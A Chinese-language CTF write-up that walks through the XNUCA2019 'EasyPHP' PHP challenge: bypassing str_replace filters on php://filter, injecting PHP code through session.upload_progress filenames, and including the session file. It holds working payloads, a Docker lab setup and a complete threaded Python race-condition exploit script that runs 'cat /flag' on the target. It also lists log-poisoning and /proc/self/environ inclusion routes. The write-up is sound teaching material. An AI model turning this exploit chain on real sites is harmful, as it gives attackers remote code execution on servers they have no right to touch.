1. 从一道经典题目看PHP代码审计的核心思路[XNUCA2019Qualifier]EasyPHP 这个标题对打过CTF或者接触过Web安全的朋友来说应该不陌生。它来自2019年某网络安全竞赛的资格赛题目名字叫EasyPHP直译过来就是“简单的PHP”。但做过的人都知道这题一点都不“Easy”——它是一道非常典型的PHP代码审计与文件包含综合利用题涉及php://filter链、session.upload_progress、本地文件包含LFI以及dead_code绕过等多个知识点。我第一次遇到这道题的时候也是被它层层嵌套的利用链绕得头晕后来反复复盘了几次才把整个逻辑彻底理清楚。这篇文章我想从一个实战者的角度把这道题从头到尾拆一遍。不只是告诉你“怎么做”更要讲清楚“为什么这么做”——每一步的动机是什么参数为什么这样设有没有其他替代方案以及在实际渗透测试中遇到类似场景该怎么灵活变通。适合有一定PHP基础、想入门代码审计和文件包含利用的读者也适合已经做过这道题但想深入理解底层原理的朋友。全文会涉及大量实操细节和踩坑经验建议边看边在本地环境跟着复现。2. 题目环境与源码结构拆解2.1 初始信息收集与入口分析拿到题目通常会给一个URL或者一份源码。这道题的核心入口是一个index.php页面功能很简单接收一个file参数然后包含对应的文件。类似这样?php $file $_GET[file] ?? default.php; include($file); ?当然实际题目不会这么直白通常会加一些过滤。比如用str_replace把一些危险字符替换掉或者用正则限制文件名的格式。这道题的过滤逻辑大致是这样的?php if (isset($_GET[file])) { $file $_GET[file]; $file str_replace(php://, , $file); $file str_replace(php:, , $file); // 其他过滤... include($file); } ?看到这个过滤第一反应是它想阻止我们用php://filter伪协议来读源码。但str_replace这种替换方式有个经典问题——只替换一次且不递归。也就是说如果构造phpphp://替换掉中间的php://后剩下的部分会重新拼接成php://。不过这道题的具体过滤规则可能更复杂需要实际测试。提示遇到str_replace过滤时先判断是替换一次还是循环替换。如果是单次替换就可以用“嵌套”的方式绕过比如phphp://、php://等变体。2.2 源码泄露与关键文件定位要审计先得拿到源码。最常用的手段就是php://filter的base64编码读取?filephp://filter/convert.base64-encode/resourceindex.php但如果php://被过滤了就需要绕过。常见的绕过方式有大小写混合PHP://filter/...如果过滤是区分大小写的双写phpphp://filter/...如果替换是单次且不递归使用其他伪协议compress.zlib://、data://等假设我们成功读到了index.php的源码接下来要做的就是找其他文件。通常题目会有一个flag.php但直接包含它可能不会输出内容因为flag可能在变量里或者被exit了。这时候就需要结合其他技巧比如session.upload_progress来写入临时文件再通过LFI包含执行。2.3 过滤规则逆向与绕过思路这道题的过滤规则我复盘时发现它主要做了两件事过滤了php://和php:防止直接使用PHP伪协议。可能还过滤了flag、..等关键词防止目录穿越和直接读flag。针对第一点绕过方式取决于替换逻辑。如果是str_replace(php://, , $file)那么输入phpphp://filter/...替换后变成php://filter/...成功绕过。如果是preg_replace且用了/i修饰符那就得换其他协议比如compress.zlib://。针对第二点如果flag被过滤可以用通配符或者编码绕过。比如?filephp://filter/convert.base64-encode/resourcef*lag.php但include不支持通配符所以得用其他方式比如先通过session.upload_progress把文件名写入session再包含session文件。注意session.upload_progress的利用需要满足几个条件session.upload_progress.enabled On、session.upload_progress.cleanup Off或者利用时间差、以及知道session文件的存储路径。默认路径是/var/lib/php/sessions/sess_PHPSESSID但不同系统可能不同。3. 核心利用链的构建与实操3.1 利用session.upload_progress写入临时文件session.upload_progress是PHP的一个特性用于在上传文件时显示进度。当我们在上传文件的同时在POST数据中设置PHP_SESSION_UPLOAD_PROGRESSPHP会把上传的进度信息写入session文件。这个进度信息里包含了我们可控的文件名。具体操作构造一个上传表单文件内容随便但文件名要包含我们的payload。比如form actionhttp://target/index.php methodPOST enctypemultipart/form-data input typehidden namePHP_SESSION_UPLOAD_PROGRESS value123 / input typefile namefile valuetest / input typesubmit / /form同时我们需要在Cookie中设置PHPSESSID这样session文件的名字就是/var/lib/php/sessions/sess_我们指定的ID。上传时PHP会把进度信息序列化后写入这个文件内容大致是upload_progress_123|a:5:{s:10:start_time;i:...;s:14:content_length;i:...;s:15:bytes_processed;i:...;s:4:done;b:0;s:5:files;a:1:{i:0;a:7:{s:10:field_name;s:4:file;s:4:name;s:我们的payload;...}}}如果我们在文件名里写入PHP代码比如?php system(cat /flag);?那么session文件里就会包含这段代码。然后我们通过LFI包含这个session文件代码就会被执行。但这里有个问题session.upload_progress.cleanup默认是On意味着上传完成后session文件会被立即清理。所以我们需要在极短的时间内完成包含或者利用条件竞争。常见的做法是写一个脚本一边不断上传一边不断请求包含session文件。3.2 构造php://filter链读取flag如果flag文件被过滤了或者直接包含不输出我们可以用php://filter的过滤器链来读取。比如?filephp://filter/convert.base64-encode/resourceflag.php但如果flag被过滤可以尝试用php://filter/convert.iconv.utf-8.utf-16/resourceflag.php之类的编码转换或者用string.strip_tags等过滤器。更高级的玩法是构造一个过滤器链把flag的内容通过报错或者编码的方式带出来。这道题的一个关键点是flag.php里可能没有echo而是直接定义了一个变量或者被exit了。这时候直接包含是看不到内容的。但我们可以用php://filter的convert.base64-encode把文件内容编码后输出因为include会把文件内容当作PHP代码执行但如果文件里没有?php标签内容就会被直接输出。所以如果flag.php是纯文本直接包含就能看到如果是PHP代码就需要用过滤器读源码。3.3 利用dead_code绕过与文件包含组合“dead_code”这个词在CTF里通常指那些看似无用、但实际可以被利用的代码片段。比如题目里可能有一个class定义里面有个__destruct或者__wakeup方法但类没有被实例化。这时候就需要结合反序列化来触发。但在这道题里更可能的是指include路径中的“死代码”——比如include($_GET[file] . .php)这样我们传入的文件名会被拼接.php。如果我们要包含session文件session文件没有.php后缀就会被拼接成sess_xxx.php导致包含失败。这时候就需要用php://filter的resource来绕过或者用/proc/self/fd/之类的路径。另一种“dead_code”是指php://filter链中的某些过滤器在特定PHP版本下会被忽略但我们可以利用这些被忽略的过滤器来构造payload。比如convert.iconv.*系列在某些版本下可以触发错误从而泄露信息。实操心得在构造php://filter链时一定要先确认目标PHP的版本。不同版本对过滤器的支持不一样比如convert.iconv.utf-8.utf-16在PHP 7.0才支持。可以用?filephp://filter/readconvert.base64-encode/resourceindex.php先测试基本功能。4. 完整实操流程与参数计算4.1 环境搭建与本地复现为了彻底理解这道题我建议在本地用Docker搭一个PHP环境。用php:7.2-apache镜像就行然后把题目源码放进去。注意要修改php.ini把session.upload_progress.enabled设为Onsession.upload_progress.cleanup设为Off方便调试session.save_path设为一个可写目录。docker run -d --name easyphp -p 8080:80 -v $(pwd)/src:/var/www/html php:7.2-apache docker exec -it easyphp bash echo session.upload_progress.enabled On /usr/local/etc/php/php.ini echo session.upload_progress.cleanup Off /usr/local/etc/php/php.ini然后写一个简单的index.php?php $file $_GET[file] ?? default.php; $file str_replace(php://, , $file); include($file); ?再写一个flag.php?php $flag flag{test_flag}; // 不输出 ?4.2 编写利用脚本实现自动化攻击手动竞争太慢写个Python脚本import requests import threading url http://localhost:8080/index.php session_id test123 def upload(): while True: files {file: (?php system(cat /flag);?, test)} data {PHP_SESSION_UPLOAD_PROGRESS: 123} cookies {PHPSESSID: session_id} try: requests.post(url, filesfiles, datadata, cookiescookies, timeout1) except: pass def include_session(): while True: cookies {PHPSESSID: session_id} try: r requests.get(url, params{file: /var/lib/php/sessions/sess_ session_id}, cookiescookies, timeout1) if flag{ in r.text: print(r.text) break except: pass t1 threading.Thread(targetupload) t2 threading.Thread(targetinclude_session) t1.start() t2.start()这个脚本的核心是一个线程不断上传另一个线程不断包含session文件。由于cleanup可能为On所以需要高频率请求。如果cleanup为Off那一次上传就够了。4.3 参数调优与竞争条件处理竞争条件的关键在于时间窗口。如果cleanup为Onsession文件在上传完成后会被立即删除所以包含请求必须在上传过程中发出。实测下来用多线程短超时比如0.5秒能提高成功率。另外可以尝试上传大文件延长上传时间从而扩大时间窗口。另一个技巧是在文件名里写入?php phpinfo();?先确认代码执行成功再换成读flag的命令。这样能避免因为路径错误或者权限问题导致的误判。注意session.save_path可能不是默认的/var/lib/php/sessions可以用phpinfo()查看。如果题目过滤了phpinfo可以尝试用php://filter读/etc/php/7.2/apache2/php.ini来获取配置。5. 常见问题与排查技巧实录5.1 包含session文件失败的原因排查问题现象可能原因解决方法包含后无输出session文件路径不对用phpinfo()确认session.save_path包含后报错“无法打开流”文件不存在或权限不足检查cleanup是否开启尝试延长上传时间包含后输出乱码session文件内容被序列化用php://filter/convert.base64-encode读取代码未执行文件名中的payload被转义检查上传时的文件名编码尝试用\r\n等绕过5.2 过滤绕过的几种实战姿势如果php://被过滤可以尝试phpphp://filter/...双写PHP://filter/...大小写php://filter/...如果过滤是str_replace(php://, , $file)那么php://会被替换成php://但php://本身可能被再次替换所以需要测试使用compress.zlib://或data://如果allow_url_include开启如果flag被过滤可以尝试f*lag.php但include不支持通配符flag.php如果过滤是str_replace(flag, , $file)那么flflagag.php会被替换成flag.php用php://filter的resource指向/proc/self/cwd/flag.php5.3 其他可能的利用路径除了session.upload_progress还可以尝试利用/proc/self/environ包含环境变量如果User-Agent可控利用/var/log/apache2/access.log包含日志如果日志可写利用php://input包含POST数据如果allow_url_include开启但这道题最经典的解法还是session.upload_progress因为它不依赖allow_url_include且成功率较高。6. 从这道题延伸出的实战思考这道题虽然叫EasyPHP但它考察的知识点非常全面代码审计、过滤绕过、文件包含、竞争条件、PHP配置利用。在实际的渗透测试中类似的场景也很常见——比如某个网站有文件包含漏洞但过滤了伪协议这时候就可以考虑用session.upload_progress或者日志包含来绕过。我个人在实际操作中的体会是不要一上来就想着用最复杂的利用链先测试最简单的路径。比如先试试直接包含flag.php看看有没有输出再试试php://filter读源码如果都被过滤了再考虑session.upload_progress。很多时候题目或者目标系统的过滤并没有想象中那么严格简单的方法反而最快。另外写利用脚本时一定要加异常处理和超时控制。我踩过的坑是脚本跑了几分钟没结果以为是利用链有问题后来发现是网络超时导致请求卡死。加上timeout1之后成功率明显提高。最后再分享一个小技巧如果session.upload_progress.cleanup为On可以尝试在文件名里写入一个很大的文件内容比如几MB的垃圾数据这样上传时间会变长包含请求就有更大的时间窗口。实测下来这个方法在竞争条件利用中非常有效。